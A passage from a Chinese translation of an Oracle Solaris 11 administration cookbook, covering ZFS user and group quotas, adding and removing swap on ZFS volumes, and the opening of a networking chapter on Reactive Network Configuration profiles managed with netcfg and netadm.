prop_pool/zfs_1        8.09M  3.02G  8.06M  /prop_pool/zfs_1
prop_pool/zfs_1/zfs_4    31K  3.02G    31K  /prop_pool/zfs_1/zfs_4
prop_pool/zfs_2          31K  3.02G    31K  /prop_pool/zfs_2
prop_pool/zfs_3          31K  1024M    31K  /prop_pool/zfs_3
root@solaris11-1:~# zfs get -r reservation prop_pool
NAME                    PROPERTY     VALUE  SOURCE
prop_pool               reservation  none   default
prop_pool/zfs_1         reservation  none   default
prop_pool/zfs_1%        reservation  -      -
prop_pool/zfs_1/zfs_4   reservation  none   default
prop_pool/zfs_1/zfs_4%  reservation  -      -
prop_pool/zfs_2         reservation  none   default
prop_pool/zfs_3         reservation  512M   local

空间的关注点通常集中在整个池的总空间值上,但也可以限制个别用户或组可用的空间。

为用户设置配额是通过 userquota 属性完成的,为组设置配额是通过 groupquota 属性完成的:

root@solaris11-1:~# zfs set userquota@aborges=750M 
prop_pool/zfs_3
root@solaris11-1:~# zfs set userquota@alexandre=1.5G prop_pool/zfs_3
root@solaris11-1:~# zfs get userquota@aborges prop_pool/zfs_3
NAME             PROPERTY           VALUE  SOURCE
prop_pool/zfs_3  userquota@aborges  750M   local
root@solaris11-1:~# zfs get userquota@alexandre prop_pool/zfs_3
NAME             PROPERTY             VALUE  SOURCE
prop_pool/zfs_3  userquota@alexandre  1.50G  local
root@solaris11-1:~# zfs set groupquota@staff=1G prop_pool/zfs_3 
root@solaris11-1:~# zfs get groupquota@staff prop_pool/zfs_3
NAME             PROPERTY          VALUE  SOURCE
prop_pool/zfs_3  groupquota@staff  1G     local

获取用户和组的已用空间和配额空间,可以通过执行以下命令完成:

root@solaris11-1:~# zfs userspace prop_pool/zfs_3
TYPE        NAME       USED  QUOTA  
POSIX User  aborges       0   750M  
POSIX User  alexandre     0     1G  
POSIX User  root         3K   none  
root@solaris11-1:~# zfs groupspace prop_pool/zfs_3
TYPE         NAME   USED  QUOTA  
POSIX Group  root     3K   none  
POSIX Group  staff     0     1G

通过以下序列可以移除直到现在为止设置的所有配额值:

root@solaris11-1:~# zfs set quota=none prop_pool/zfs_3
root@solaris11-1:~# zfs set userquota@aborges=none prop_pool/zfs_3
root@solaris11-1:~# zfs set userquota@alexandre=none prop_pool/zfs_3
root@solaris11-1:~# zfs set groupquota@staff=none prop_pool/zfs_3
root@solaris11-1:~# zfs userspace prop_pool/zfs_3
TYPE        NAME  USED  QUOTA  
POSIX User  root    3K   none  
root@solaris11-1:~# zfs groupspace prop_pool/zfs_3
TYPE         NAME  USED  QUOTA
POSIX Group  root    3K   none

配方概览

在本节中,您看到了诸如 sharenfsquotareservationuserquotagroupquota 等属性。所有这些属性都会改变 ZFS 池、文件系统、快照和克隆的行为。此外,还有其他一些附加属性可以提高 ZFS 的功能,建议读者在 ZFS 管理指南 中查找所有这些属性。

操作 ZFS 交换

在 Oracle Solaris 11 中,最困难的任务之一就是计算交换区的最佳大小。大致而言,操作系统的虚拟内存由 RAM 和交换空间的总和组成,正确的配置有助于应用程序的性能。不幸的是,在初次安装 Oracle Solaris 11 时,交换区的正确大小可能被低估或高估,不过任何潜在的错误都可以很容易地纠正。本节将向您展示如何管理这个问题。

准备工作

本教程要求安装了 Oracle Solaris 11 并且有 4 GB RAM 的虚拟机(VMware 或 VirtualBox)。另外,还需要访问八个 4 GB 的磁盘。

如何操作…

根据 Oracle 的说法,在安装过程中估算 Solaris 需要大约四分之一的 RAM 空间作为交换区。然而,出于历史原因,管理员们仍然相信一种误区,即交换空间应该至少是 RAM 大小的两倍,适用于所有情况。当然,这样的配置应该是可行的,但并不是必要的。通常(这不是规则,但已被多次观察到),交换空间应介于 0.5 倍 RAM 和 1.5 倍 RAM 之间,排除像数据库安装预测等特殊情况。记住,交换区可以是一个专用分区或一个文件;列出交换区(及其可用空间)的最佳方式是执行以下命令:

root@solaris11-1:~# swap -l
swapfile             dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3         8  4194296  4194296

从之前的输出中,每一列的含义如下:

  • swapfile:显示交换区来自两个 ZFS 卷 (/dev/zvol/dsk/rpool/swap/dev/zvol/dsk/rpool/newswap)。

  • dev:显示交换设备的主次设备号

  • swaplo:显示最小可能的交换空间,其大小限制为内存页面大小,通常通过执行 pagesize 命令获得其对应的值,单位为扇区(512 字节)

  • blocks:这是以扇区为单位的总交换空间

  • free:这是空闲的交换空间(4 GB)

收集交换区信息的另一种方法是使用相同的 swap 命令并添加 –s 选项,如以下命令所示:

root@solaris11-1:~# swap –s
total: 519668k bytes allocated + 400928k reserved = 920596k used, 4260372k available

从这个命令输出中,我们可以得到:

  • 519668k bytes allocated:这表示已经使用过的交换空间,但不一定是当前正在使用的,因此它是被保留的,当需要时可以使用。

  • 400928k reserved:这是为未来使用而保留的虚拟交换空间(堆段和匿名内存),此时尚未分配。通常,当为进程创建虚拟内存时,会保留交换空间。匿名内存是指没有在磁盘(任何文件系统)中有对应项的页面。由于堆栈、共享内存和进程堆的总和通常大于可用的物理内存,RAM(物理内存)不足时,这些页面会被移到交换区。

  • 946696k used:这是已保留或已分配的交换空间总量。

  • 4260372k available:这是可用于未来分配的交换空间量。

到目前为止,你已经学习了如何监控交换区。从现在起,我们来看一下如何通过执行以下命令在 Oracle Solaris 11 中添加和删除交换空间:

root@solaris11-1:~# zfs list -r rpool
NAME                              USED  AVAIL  REFER  MOUNTPOINT
rpool                            37.0G  41.3G  4.91M  /rpool
rpool/ROOT                       26.7G  41.3G    31K  legacy
(truncated output)
rpool/newswap                    2.06G  41.3G  2.00G  -
rpool/shad_source                2.38G  41.3G  2.38G  /rpool/shad_source
rpool/shad_target                1.60G  41.3G  1.60G  /rpool/shad_target
rpool/swap                       2.06G  41.3G  2.00G  -

两行(rpool/newswaprpool/swap)证明交换空间的大小为 4 GB(2 GB + 2 GB),且这两个数据集都是 ZFS 卷,可以通过执行以下命令验证:

root@solaris11-1:~# ls -ls /dev/zvol/rdsk/rpool/swap 
   0 lrwxrwxrwx   1 root     root           0 Dec 17 20:35 /dev/zvol/rdsk/rpool/swap -> ../../../..//devices/pseudo/zfs@0:2,raw
root@solaris11-1:~# ls -ls /dev/zvol/rdsk/rpool/newswap 
   0 lrwxrwxrwx   1 root     root           0 Dec 20 19:04 /dev/zvol/rdsk/rpool/newswap -> ../../../..//devices/pseudo/zfs@0:3,raw

从上一节(获取和设置属性)继续,如果池有空闲空间,可以通过更改 volsize 属性来更改交换空间。然后,运行以下命令:

root@solaris11-1:~# zfs get volsize rpool/swap
NAME        PROPERTY  VALUE  SOURCE
rpool/swap  volsize   2G     local

root@solaris11-1:~# zfs get volsize rpool/newswap
NAME           PROPERTY  VALUE  SOURCE
rpool/newswap  volsize   2G     local

增加交换空间的一种简单方法是通过更改 volsize 值。然后,执行以下命令:

root@solaris11-1:~# zfs set volsize=3G rpool/newswap
root@solaris11-1:~# zfs get volsize rpool/newswap
NAME           PROPERTY  VALUE  SOURCE

rpool/newswap  volsize   3G     local
root@solaris11-1:~# swap –l
swapfile             dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3   4194312  2097144  2097144
root@solaris11-1:~# swap -s
total: 451556k bytes allocated + 267760k reserved = 719316k used, 5359332k available
root@solaris11-1:~# zfs list -r rpool/swap
NAME         USED  AVAIL  REFER  MOUNTPOINT
rpool/swap  2.00G  40.4G  2.00G  -
root@solaris11-1:~# zfs list -r rpool/newswap
NAME            USED  AVAIL  REFER  MOUNTPOINT
rpool/newswap  3.00G  40.4G  3.00G  -

最终,必须添加一个新卷,因为池中的空闲空间不足,所以可以通过执行以下命令来实现:

root@solaris11-1:~# zpool create swap_pool c8t12d0
root@solaris11-1:~# zpool list swap_pool
NAME        SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
swap_pool  3.97G    85K  3.97G   0%  1.00x  ONLINE  -
root@solaris11-1:~# zfs create -V 1G swap_pool/vol_swap_1 
root@solaris11-1:~# zfs list -r swap_pool
NAME                   USED  AVAIL  REFER  MOUNTPOINT
swap_pool             1.03G  2.87G    31K  /swap_pool
swap_pool/vol_swap_1  1.03G  3.91G    16K  -

一旦交换卷创建完成,下一步是通过运行以下命令将其添加为交换设备:

root@solaris11-1:~# swap -a /dev/zvol/dsk/swap_pool/vol_swap_1 
root@solaris11-1:~# swap -l
swapfile             dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3   4194312  2097144  2097144
/dev/zvol/dsk/swap_pool/vol_swap_1 285,4         8  2097144  2097144
root@solaris11-1:~# swap -s
total: 456308k bytes allocated + 268024k reserved = 724332k used, 6361756k available
root@solaris11-1:~# zfs list -r swap_pool
NAME                   USED  AVAIL  REFER  MOUNTPOINT
swap_pool             1.03G  2.87G    31K  /swap_pool
swap_pool/vol_swap_1  1.03G  2.91G  1.00G  -
root@solaris11-1:~# zfs list -r rpool | grep swap
rpool/newswap                    3.00G  40.4G  3.00G  -
rpool/swap                       2.00G  40.4G  2.00G  -

最后,新的交换设备必须包含在 etc 目录下的 vfstab 文件中,以便在 Oracle Solaris 11 启动时挂载:

root@solaris11-1:~# more /etc/vfstab 
#device    device    mount    FS  fsck  mount  mount
#to mount  to fsck    point    type  pass  at boot  options
#
/devices  -    /devices  devfs  -  no  -
/proc     -     /proc      proc  -  no  -
(truncated output)
swap                                -    /tmp    tmpfs  -  yes  -

/dev/zvol/dsk/rpool/swap            -    -       swap   -  no   -
/dev/zvol/dsk/rpool/newswap         -    -       swap   -  no   -
/dev/zvol/dsk/swap_pool/vol_swap_1  -    -       swap   -  no   -

最后但同样重要的是,移除交换区的任务非常简单。首先,需要删除 /etc/vfstab 中的条目。在删除交换区之前,需要列出它们,方法如下:

root@solaris11-1:~# swap -l
swapfile             dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3   4194312  2097144  2097144
/dev/zvol/dsk/swap_pool/vol_swap_1 285,4         8  2097144  2097144

其次,必须通过运行以下命令将交换卷从系统中注销:

root@solaris11-1:~# swap -d /dev/zvol/dsk/swap_pool/vol_swap_1
root@solaris11-1:~# zpool destroy swap_pool
root@solaris11-1:~# swap -d /dev/zvol/dsk/rpool/newswap
root@solaris11-1:~# swap -l
swapfile             dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3   4194312  2097144  2097144

之前,rpool/newswap 卷已被扩展。然而,无法减少它,因为 rpool/newswap 正在使用中(忙碌)。现在,由于此卷中的前 2 GB 空间已被移除,这部分 2 GB 目前不在使用中,因此总卷(3 GB)可以减少。执行以下命令:

root@solaris11-1:~# zfs get volsize rpool/newswap
NAME           PROPERTY  VALUE  SOURCE
rpool/newswap  volsize   3G     local
root@solaris11-1:~# zfs set volsize=1G rpool/newswap
root@solaris11-1:~# zfs get volsize rpool/newswap
NAME           PROPERTY  VALUE  SOURCE
rpool/newswap  volsize   1G     local
root@solaris11-1:~# swap -l
swapfile             dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2         8  4194296  4194296
/dev/zvol/dsk/rpool/newswap 285,3   4194312  2097144  2097144
root@solaris11-1:~# swap -s
total: 456836k bytes allocated + 267580k reserved = 724416k used, 3203464k available

方案概述

你已经学习了如何使用 ZFS 框架添加、删除和监控交换空间。此外,你还学到了许多非常重要的概念,例如保留、分配和空闲交换空间。

参考资料

第三章:网络

在本章中,我们将涵盖以下内容:

  • 玩转响应式网络配置

  • 互联网协议多路径

  • 设置链路聚合

  • 配置网络桥接

  • 配置链路保护和 DNS 客户端服务

  • 配置 DHCP 服务器

  • 配置集成负载均衡器

介绍

不用多说,网络卡及其相应的网络配置对于操作系统如 Oracle Solaris 11 至关重要。我自从版本 7 起就开始使用 Oracle Solaris,它的网络设置一直都非常简单,使用了像 /etc/hostname.<interface>/etc/hosts/etc/defaultrouter/etc/resolv.conf/etc/hostname 等文件。当时,除了这些文件外没有其他配置,这非常适合,因为配置网络只需要几分钟时间。另一方面,当需要更改网络配置时,并没有太多的灵活性。此外,当时便携式计算机上没有无线接口,并且 Oracle Solaris 仅支持 SPARC 处理器。那段时光已经过去了。

这种网络架构一直保持到 Oracle Solaris 10,尽管在 Oracle Solaris 10 中引入了数百项修改和新特性。但在 Oracle Solaris 11 中,现在有了新的命令和不同的设置网络方法。此外,自前一版本的 Oracle Solaris 以来,许多有趣的技术已经得到了改进,其中一些技术被包含在 Oracle Solaris 11 中。

在本章中,我们将学习许多与 Oracle Solaris 11 相关的材料,以及高级管理内容。

注意

一个关键点必须强调——在这里展示的所有示例中,我假设网络中有一个 DHCP 服务器。在我的例子中,DHCP 服务器是由 D-Link 无线路由器提供的。不要忘记这个警告!

玩转响应式网络配置

这个讨论可能是 Oracle Solaris 11 中最有趣的话题之一,也是最复杂的话题之一。

几年前,Oracle Solaris 只有 SPARC 版本,且无线网络要么不存在,要么很少见。自从 Oracle Solaris 10 发布以来,Oracle Solaris 在笔记本上的使用逐年增长。与此同时,无线网络变得流行,一切都发生了变化。然而,这种移动性带来了一些关于网络配置的小问题。例如,假设我们有一台安装了 Oracle Solaris 11 的笔记本电脑,并且某天我们需要连接到四个不同的网络——home1、home2、work 和 university,以便阅读电子邮件或访问互联网。这样就很麻烦,因为每个网络环境都需要修改网络配置才能连接到数据网络。更糟的是,如果四个网络中有三个需要手动配置网络(IP 地址、子网掩码、网关、名称服务器、域名等),我们将浪费大量时间在手动配置上。

Oracle Solaris 11 有一个非常出色的功能,管理反应式网络配置RNC)。基本上,使用 RNC,用户可以创建不同的网络配置,并且通过用户请求或事件(开启或关闭无线网卡、租赁和更新 DHCP 设置、连接或断开电缆等),可以快速地更改网络配置。所有这些都仅仅因为 RNC 是基于一个名为配置文件的关键概念来实现的,配置文件可以分为固定的或反应式的,并且它们具有许多属性,有助于我们配置适当的网络。

有两种类型的配置文件——网络配置文件NCP)和位置配置文件Location Profiles),它们是互补的。NCP(某种容器)由网络配置单元NCU)组成,NCU 是配置对象,它们都有配置网络所需的属性。此外,还有第三种类型的配置文件,名为外部网络修饰符ENM),它们用于 VPN,需要一种能够创建自身配置的特殊配置文件。

到目前为止有很多术语或简短概念,我们可以做个总结:

  • RNC:这代表反应式网络配置(Reactive Network Configuration)。

  • 配置文件:有两类:固定的或反应式的。

  • NCP:这代表网络配置文件(Network Configuration Profile)。

  • 位置配置文件:这是一个提供补充信息给 NCP 的配置文件。

  • NCU:这代表网络配置单元(Network Configuration Unit),是组成 NCP 配置文件的元素。

  • EMN:这代表外部网络修饰符(External Network Modifier),是一种配置文件类型。

回到两个主要的配置文件(NCP位置配置文件),NCP 的作用是为接口提供基本的网络配置,而位置配置文件的作用是补充 NCP 提供的信息和配置。

位置配置提供的一些有用配置包括IP 过滤设置、域名、DNS 配置等。当系统没有有效 IP 地址时,默认使用名为NoNet的位置配置。当一个网络接口获得有效 IP 地址时,将使用Automatic Location配置。

有两种类型的NCP配置。第一种类型是Automatic配置,是只读的,在添加或移除网络设备时会自动更改您的配置(稍后详述),使用 DHCP 服务,始终优先使用以太网卡而不是无线网卡,包含一个Link NCU(提供多种风格:物理链路、聚合、虚拟网卡、vlan 等),并且其中有一个Interface NCU

第二种类型是用户定义的配置,必须根据用户的目标进行手动设置(因此可以进行编辑)。

准备工作

要按照此方法操作,您需要安装有 Oracle Solaris 11 的两台虚拟机(VirtualBox 或 VMware),每台机器都有 4 GB RAM 和四个网络接口。

如何操作...

与 RNC 相关的两个关键服务是svc:/network/netcfg:defaultsvc:/network/location:default。这两个服务必须启用且正常工作,我们必须注意svc:/network/location:default的依赖关系:

root@solaris11-1:~# svcs -a | grep netcfg
online         18:07:01 svc:/network/netcfg:default
root@solaris11-1:~# svcs -a | grep location:default
online         18:12:22 svc:/network/location:default
root@solaris11-1:~# svcs -l netcfg
fmri         svc:/network/netcfg:default
name         Network configuration data management
enabled      true
state        online
next_state   none
state_time   January  6, 2014 06:07:01 PM BRST
alt_logfile  /system/volatile/network-netcfg:default.log
restarter    svc:/system/svc/restarter:default
contract_id  7
manifest     /lib/svc/manifest/network/network-netcfg.xml
root@solaris11-1:~# svcs -l svc:/network/location:default
fmri         svc:/network/location:default
name         network interface configuration
enabled      true
state        online
next_state   none
state_time   January  6, 2014 06:12:22 PM BRST
logfile      /var/svc/log/network-location:default.log
restarter    svc:/system/svc/restarter:default
manifest     /lib/svc/manifest/network/network-location.xml
dependency   require_all/none svc:/network/location:upgrade (online)
dependency   require_all/none svc:/network/physical:default (online)
dependency   require_all/none svc:/system/manifest-import:default (online)
dependency   require_all/none svc:/network/netcfg:default (online)
dependency   require_all/none svc:/system/filesystem/usr (online)

使用netcfg命令列出所有配置:

root@solaris11-1:~# netcfg list
NCPs:
  Automatic
  DefaultFixed
Locations:
  Automatic
  NoNet

这是对本节介绍中所见内容的确认。有一个名为Automatic的 NCP 配置,与 DHCP 服务相关联,以及另一个关联到用户定义的 NCP 配置DefaultFixed的 NCP 配置。此外,还有两个位置配置——当至少一个网络接口具有有效 IP 地址时应用的Automatic配置,以及在没有任何网络卡接收到有效 IP 地址时强制应用的NoNet配置。

尽管如此,通过执行以下命令,我们可以从每个配置中获取大量额外信息:

root@solaris11-1:~# netcfg list -a ncp Automatic
ncp:Automatic
  management-type   reactive
NCUs:
  phys  net0
  phys  net1
  phys  net2
  phys  net3
  ip    net0
  ip    net1
  ip    net3
  ip    net2

所有网络接口及其各自的 IP 地址对象都绑定到Automatic NCP 配置,而未分配给DefaultFixed NCP 配置:

root@solaris11-1:~# netcfg list -a ncp DefaultFixed
ncp:DefaultFixed
  management-type   fixed

同样,通过运行以下命令,可以从位置配置中获取大量信息:

root@solaris11-1:~# netcfg list -a loc Automatic
loc:Automatic
  activation-mode            system
  conditions                 
  enabled                    false
  nameservices               dns
  nameservices-config-file   "/etc/nsswitch.dns"
  dns-nameservice-configsrc  dhcp
  dns-nameservice-domain     
  dns-nameservice-servers    
  dns-nameservice-search     
  dns-nameservice-sortlist   
  dns-nameservice-options    
  nis-nameservice-configsrc  
  nis-nameservice-servers    
  ldap-nameservice-configsrc 
  ldap-nameservice-servers   
  default-domain             
  nfsv4-domain               
  ipfilter-config-file       
  ipfilter-v6-config-file    
  ipnat-config-file          
  ippool-config-file         
  ike-config-file            
  ipsecpolicy-config-file    

root@solaris11-1:~# netcfg list -a loc NoNet
loc:NoNet
  activation-mode            system
  conditions                 
  enabled                    false
  nameservices               files
  nameservices-config-file   "/etc/nsswitch.files"
  dns-nameservice-configsrc  dhcp
  dns-nameservice-domain     
  dns-nameservice-servers    
  dns-nameservice-search     
  dns-nameservice-sortlist   
  dns-nameservice-options    
  nis-nameservice-configsrc  
  nis-nameservice-servers    
  ldap-nameservice-configsrc  
  ldap-nameservice-servers   
  default-domain             
  nfsv4-domain               
  ipfilter-config-file       "/etc/nwam/loc/NoNet/ipf.conf"
  ipfilter-v6-config-file    "/etc/nwam/loc/NoNet/ipf6.conf"
  ipnat-config-file          
  ippool-config-file         
  ike-config-file            
  ipsecpolicy-config-file    
root@solaris11-1:~#

尽管如此,有时交互式地执行操作可能更容易:

root@solaris11-1:~# netcfg
netcfg> select ncp Automatic
netcfg:ncp:Automatic> list
ncp:Automatic
  management-type   reactive
NCUs:
  phys  net0
  phys  net1
  phys  net2
  phys  net3
  ip  net0
  ip  net1
  ip  net3
  ip  net2
netcfg:ncp:Automatic> select ncu phys net0
netcfg:ncp:Automatic:ncu:net0> list
ncu:net0
  type              link
  class             phys
  parent            "Automatic"
  activation-mode   prioritized
  enabled           true
  priority-group    0
  priority-mode     shared
netcfg:ncp:Automatic:ncu:net0> end
netcfg:ncp:Automatic> select ncu ip net0
netcfg:ncp:Automatic:ncu:net0> list
ncu:net0
  type              interface
  class             ip
  parent            "Automatic"
  enabled           true
  ip-version        ipv4,ipv6
  ipv4-addrsrc      dhcp
  ipv6-addrsrc      dhcp,autoconf
netcfg:ncp:Automatic:ncu:net0> end
netcfg:ncp:Automatic> end
netcfg> select loc Automatic
netcfg:loc:Automatic> list
loc:Automatic
  activation-mode            system
  enabled                    false
  nameservices               dns
  nameservices-config-file   "/etc/nsswitch.dns"
  dns-nameservice-configsrc  dhcp
netcfg:loc:Automatic> end
netcfg> exit

如我们所知,许多属性可以设置以定制我们的系统。同样,执行以下命令列出所有 NCP 和 NCU:

root@solaris11-1:~# netadm list
TYPE        PROFILE        STATE
ncp         Automatic      online
ncu:phys    net0           online
ncu:phys    net1           online
ncu:phys    net2           online
ncu:phys    net3           online
ncu:ip      net0           online
ncu:ip      net1           online
ncu:ip      net3           online
ncu:ip      net2           online
ncp         DefaultFixed   disabled
loc         Automatic      online
loc         NoNet          offline

如果需要更多详细信息,可以通过运行以下命令获取:

root@solaris11-1:~# netadm list -x
TYPE      PROFILE       STATE     AUXILIARY STATE
ncp       Automatic     online    active
ncu:phys  net0          online    interface/link is up
ncu:phys  net1          online    interface/link is up
ncu:phys  net2          online    interface/link is up
ncu:phys  net3          online    interface/link is up
ncu:ip    net0          online    interface/link is up
ncu:ip    net1          online    interface/link is up
ncu:ip    net3          online    interface/link is up
ncu:ip    net2          online    interface/link is up
ncp       DefaultFixed  disabled  disabled by administrator
loc       Automatic     online    active
loc       NoNet         offline   conditions for activation are unmet

不必列出所有配置(NCP 和位置),可以仅通过运行以下命令列出其中一类配置:

root@solaris11-1:~# netadm list -p ncp
TYPE        PROFILE        STATE
ncp         Automatic      online
ncu:phys    net0           online
ncu:phys    net1           online
ncu:phys    net2           online
ncu:phys    net3           online
ncu:ip      net0           online
ncu:ip      net1           online
ncu:ip      net3           online
ncu:ip      net2           online
ncp         DefaultFixed   disabled
root@solaris11-1:~# netadm list -p loc
TYPE        PROFILE        STATE
loc         Automatic      online
loc         NoNet          offline

很好!到目前为止,所有命令都运行得非常顺利。因此,现在是使用 netcfg 命令创建新配置文件的时候了。为了完成这个任务,我们将创建一个名为 hacker_profile 的 NCP,并在其中添加两个 NCU,接着创建一个名为 work 的 LOC 配置文件。因此,请执行以下命令:

root@solaris11-1:~# netcfg
netcfg> create ncp hacker_profile
netcfg:ncp:hacker_profile> create ncu phys net2
Created ncu 'net2'.  Walking properties ...
activation-mode (manual) [manual|prioritized]> manual
mac-address> [ENTER]
autopush> [ENTER]
mtu> [ENTER]
netcfg:ncp:hacker_profile:ncu:net2> list
ncu:net2
  type              link
  class             phys
  parent            "hacker_profile"
  activation-mode   manual
  enabled           true
netcfg:ncp:hacker_profile:ncu:net2> end
Committed changes
netcfg:ncp:hacker_profile> list
ncp:hacker_profile
  management-type   reactive
NCUs:
  phys  net2
netcfg:ncp:hacker_profile> create ncu ip net2
Created ncu 'net2'.  Walking properties ...
ip-version (ipv4,ipv6) [ipv4|ipv6]> ipv4
ipv4-addrsrc [dhcp|static]> static
ipv4-addr> 192.168.1.99
ipv4-default-route> 192.168.1.1
netcfg:ncp:hacker_profile:ncu:net2> list
ncu:net2
  type              interface
  class             ip
  parent            "hacker_profile"
  enabled           true
  ip-version        ipv4
  ipv4-addrsrc      static
  ipv4-addr         "192.168.1.99"
  ipv4-default-route  "192.168.1.1"
netcfg:ncp:hacker_profile:ncu:net2> commit
Committed changes
netcfg:ncp:hacker_profile:ncu:net2> end
netcfg:ncp:hacker_profile> list ncu ip net2
ncu:net2
  type              interface
  class             ip
  parent            "hacker_profile"
  enabled           true
  ip-version        ipv4
  ipv4-addrsrc      static
  ipv4-addr         "192.168.1.99"
  ipv4-default-route  "192.168.1.1"
netcfg:ncp:hacker_profile> end
netcfg> create loc work
Created loc 'work'.  Walking properties ...
activation-mode (manual) [manual|conditional-any|conditional-all]> manual
nameservices (dns) [dns|files|nis|ldap]> dns
nameservices-config-file ("/etc/nsswitch.dns")> [ENTER]
dns-nameservice-configsrc (dhcp) [manual|dhcp]> manual
dns-nameservice-domain> alexandreborges.org
dns-nameservice-servers> 192.0.80.93
dns-nameservice-search> [ENTER]
dns-nameservice-sortlist> [ENTER]
dns-nameservice-options> [ENTER]
nfsv4-domain> [ENTER]
ipfilter-config-file> [ENTER]
ipfilter-v6-config-file> [ENTER]
ipnat-config-file> [ENTER]
ippool-config-file> [ENTER]
ike-config-file> [ENTER]
ipsecpolicy-config-file> [ENTER]
netcfg:loc:work> list
loc:work
  activation-mode            manual
  enabled                    false
  nameservices               dns
  nameservices-config-file   "/etc/nsswitch.dns"
  dns-nameservice-configsrc  manual
  dns-nameservice-domain     "alexandreborges.org"
  dns-nameservice-servers    "192.0.80.93"  
netcfg:loc:work> end
Committed changes
netcfg> exit
root@solaris11-1:~#

执行以下命令列出当前配置:

root@solaris11-1:~# netadm list
TYPE        PROFILE        STATE
ncp         Automatic      online
ncu:phys    net0           online
ncu:phys    net1           online
ncu:phys    net2           online
ncu:phys    net3           online
ncu:ip      net0           online
ncu:ip      net1           online
ncu:ip      net3           online
ncu:ip      net2           online
ncp         DefaultFixed   disabled
ncp         hacker_profile     disabled
loc         Automatic      online
loc         NoNet          offline
loc         work           disabled
root@solaris11-1:~# netcfg list
NCPs:
  Automatic
  DefaultFixed
  hacker_profile
Locations:
  Automatic
  NoNet
  work
root@solaris11-1:~#
root@solaris11-1:~# ipadm show-addr | grep v4
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.106/24
net1/v4           dhcp     ok           192.168.1.107/24
net2/v4           dhcp     ok           192.168.1.105/24
net3/v4           static   ok           192.168.1.140/24

当新的 NCP 和 LOC 配置文件启用时,一切都会发生变化。我们可以通过执行以下命令来验证这一点:

root@solaris11-1:~# netadm enable work
Enabling loc 'work'
root@solaris11-1:~# netadm enable hacker_profile
Enabling ncp 'hacker_profile'
root@solaris11-1:~# netadm list
TYPE        PROFILE        STATE
ncp         Automatic      disabled
ncp         DefaultFixed   disabled
ncp         hacker_profile     online
ncu:phys    net2           online
ncu:ip      net2           online
loc         Automatic      offline
loc         NoNet          offline
loc         work           online
root@solaris11-1:~# ipadm show-addr | grep v4
lo0/v4            static   ok           127.0.0.1/8
net2/v4           static   ok           192.168.1.99/24

Automatic NCP 配置文件已被禁用,LOC 配置文件 Automatic 已离线。接着,hacker_profile NCP 配置文件已变为 online 状态,work LOC 配置文件也变为 online 状态。此外,除了 net2,所有网络接口都消失了,因为在 hacker_profile NCP 配置文件中仅配置了一个网络接口 NCU(net2)。另一个好消息是,这个配置是持久的,我们可以重启机器(init 6),一切将按照我们配置的方式继续运行。

如果我们通过为某个属性分配错误的值而犯了任何错误,那么修正起来会非常简单。例如,可以通过执行以下命令来更改名称服务器(dns-nameservice-servers属性):

root@solaris11-1:~# netcfg
netcfg> select loc work
netcfg:loc:work> set dns-nameservice-servers="8.8.8.8,8.8.4.4"
netcfg:loc:work> list
loc:work
  activation-mode            manual
  enabled                    true
  nameservices               dns
  nameservices-config-file   "/etc/nsswitch.dns"
  dns-nameservice-configsrc  manual
  dns-nameservice-domain     "alexandreborges.org"
  dns-nameservice-servers    "8.8.8.8","8.8.4.4"
netcfg:loc:work> commit
Committed changes
netcfg:loc:work> verify
All properties verified
netcfg:loc:work> end
netcfg> end
root@solaris11-1:~#

完成了所有这些长时间的任务后,建议你保存新的配置文件,hacker_profilework。因此,要备份它们,请执行以下命令:

root@solaris11-1:~# mkdir /backup
root@solaris11-1:~# netcfg export -f /backup/hacker_profile_bkp ncp hacker_profile
root@solaris11-1:~# netcfg export -f /backup/work_bkp loc work
@solaris11-1:~# more /backup/hacker_profile_bkp
create ncp "hacker_profile"
create ncu phys "net2"
set activation-mode=manual
end
create ncu ip "net2"
set ip-version=ipv4
set ipv4-addrsrc=static
set ipv4-addr="192.168.1.99/24"
set ipv4-default-route="192.168.1.1"
end
end
root@solaris11-1:~# more /backup/work_bkp
create loc "work"
set activation-mode=manual
set nameservices=dns
set nameservices-config-file="/etc/nsswitch.dns"
set dns-nameservice-configsrc=manual
set dns-nameservice-domain="alexandreborges.org"
set dns-nameservice-servers="8.8.8.8","8.8.4.4"
end
root@solaris11-1:~#

通过运行以下命令,可以将系统恢复到旧的 Automatic 配置文件(NCP 和 Loc):

root@solaris11-1:~# netadm enable -p ncp Automatic
Enabling ncp 'Automatic'
root@solaris11-1:~# netadm enable -p loc Automatic
Enabling loc 'Automatic'
root@solaris11-1:~# netadm list | grep Automatic
ncp         Automatic      online
loc         Automatic      online
root@solaris11-1:~#

最后,适当的做法是通过执行以下命令销毁创建的 NCP 和 LOC 配置文件:

root@solaris11-1:~# netcfg destroy loc work
root@solaris11-1:~# netcfg destroy ncp hacker_profile

Oracle Solaris 11 真棒!

配方概述

毫无疑问,RNC 使管理员的生活更加轻松。管理、配置和监控都通过命令行完成,且所有配置都只使用两条命令:netadmnetcfgnetadm 命令的作用是启用、禁用和列出配置文件,而 netcfg 命令的作用是创建配置文件配置。

互联网协议多路径

